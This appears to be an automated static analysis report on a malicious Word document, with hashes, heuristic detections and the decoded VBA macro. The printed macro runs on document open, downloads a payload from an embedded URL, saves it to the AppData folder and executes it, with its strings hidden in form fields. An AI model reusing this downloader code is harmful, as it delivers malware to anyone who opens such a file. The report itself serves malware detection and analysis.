Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 43e3c819f7dcd34d…

MALICIOUS

Office (OLE)

50.0 KB Created: 2018-08-27 19:53:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 4d45ccf51685d54c648f8a33960aa65c SHA-1: a083e09aacff725ad9997e637b7a53388c59d088 SHA-256: 43e3c819f7dcd34d06ec2f97b207f3af0a9a04ce820517e2d9f33c0a9ab8b7aa
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for malware delivery. The script uses CreateObject to instantiate 'Adodb.Stream' and 'Shell.Application' objects, and then leverages Shell() to execute a downloaded payload. The embedded URL 'http://box365office.com/content' is likely the source of this payload.

Heuristics 8

  • ClamAV: Doc.Downloader.Olemal-6668035-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Olemal-6668035-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://box365office.com/content In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1375 bytes
SHA-256: f74e3363d1df0e2d02a23e258c123a3eea8b08ad3a46d63befb5b309a43b9179
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Sub Document_Open()
Dim msOfficeOnlineLeague: Set msOfficeOnlineLeague = CreateObject(UserForm1.Tag)
Dim ck1s: Set ck1s = CreateObject("Adodb.Stream")
msOfficeOnlineLeague.Open "GET", UserForm1.Frame1.Tag, False
msOfficeOnlineLeague.Send
Dim pest
pest = UserForm1.ToggleButton1.Tag + UserForm1.ToggleButton2.Tag
With ck1s
    .Type = 1
    .Open
End With
With ck1s
.write msOfficeOnlineLeague.responseBody
End With

Const ssfAPPDATA = &H1A
Dim oApp
Set oApp = CreateObject("Shell" & ".Application")
Dim sermach
sermach = oApp.NameSpace(ssfAPPDATA).Self.Path

    CallByName ck1s, pest, _
    VbMethod, sermach & "\" + UserForm1.Label3, 2
Shell (sermach & "\" + UserForm1.Label3)

End Sub





Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{10B111FC-284C-4D57-9FAC-C36EDF138A22}{54CDA176-29CC-4535-BAC6-08421152D67A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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